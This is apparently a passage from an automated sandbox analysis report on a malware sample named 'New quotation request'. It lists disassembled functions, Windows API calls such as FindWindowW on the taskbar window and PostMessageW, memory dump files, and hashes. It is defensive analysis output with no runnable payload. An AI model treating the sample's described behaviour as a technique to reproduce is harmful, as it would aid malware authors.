                                                                    • Instruction ID: a5fd8be207b7fbd91cb2f29793898244512ed08212f85a08633764bbdb90e247
                                                                    • Opcode Fuzzy Hash: 9ca46a1132c15bd584500cd3768c526e48c5d76daba3440488bae2f94987c546
                                                                    • Instruction Fuzzy Hash: FEF0AC7082010DDFDB16EB55D994AFCF7B8AB58341FA400A5E106A6090D7754EA4DF60
                                                                    Function 00335964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0033596E
                                                                    • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00335981
                                                                      • Part of subcall function 00315244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 003152BC
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: FindMessagePostSleepWindow
                                                                    • String ID: Shell_TrayWnd
                                                                    • API String ID: 529655941-2988720461
                                                                    • Opcode ID: 78c3b6e5ab7d116a177753396dd4c597ce1b69491cd7b47f45fd0b8be3c6b899
                                                                    • Instruction ID: 9290eb26b6721521f79b580a02d9f042cee6bb5ae4b05cd7cc97deb1884bd060
                                                                    • Opcode Fuzzy Hash: 78c3b6e5ab7d116a177753396dd4c597ce1b69491cd7b47f45fd0b8be3c6b899
                                                                    • Instruction Fuzzy Hash: 29D0C932784711BAE669AB709C4BFD76A18AB55B55F000825B34AAA1E0C9E09800C654
                                                                    Function 00335998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 003359AE
                                                                    • PostMessageW.USER32(00000000), ref: 003359B5
                                                                      • Part of subcall function 00315244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 003152BC
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: FindMessagePostSleepWindow
                                                                    • String ID: Shell_TrayWnd
                                                                    • API String ID: 529655941-2988720461
                                                                    • Opcode ID: f8d7bbae9b9d85b2e328e6e2bb92bda3b1e3cf34b3b7ba19e27ea1c8c2de267a
                                                                    • Instruction ID: 93a48ae3f5d9184222b82ad32bd78015eb72ad2f7ba19d597d11a19d8b8a5b6a
                                                                    • Opcode Fuzzy Hash: f8d7bbae9b9d85b2e328e6e2bb92bda3b1e3cf34b3b7ba19e27ea1c8c2de267a
                                                                    • Instruction Fuzzy Hash: 7BD0C932780711BAE66AAB709C4BFD76A18AB59B55F400825B346EA1E0C9E0A800C658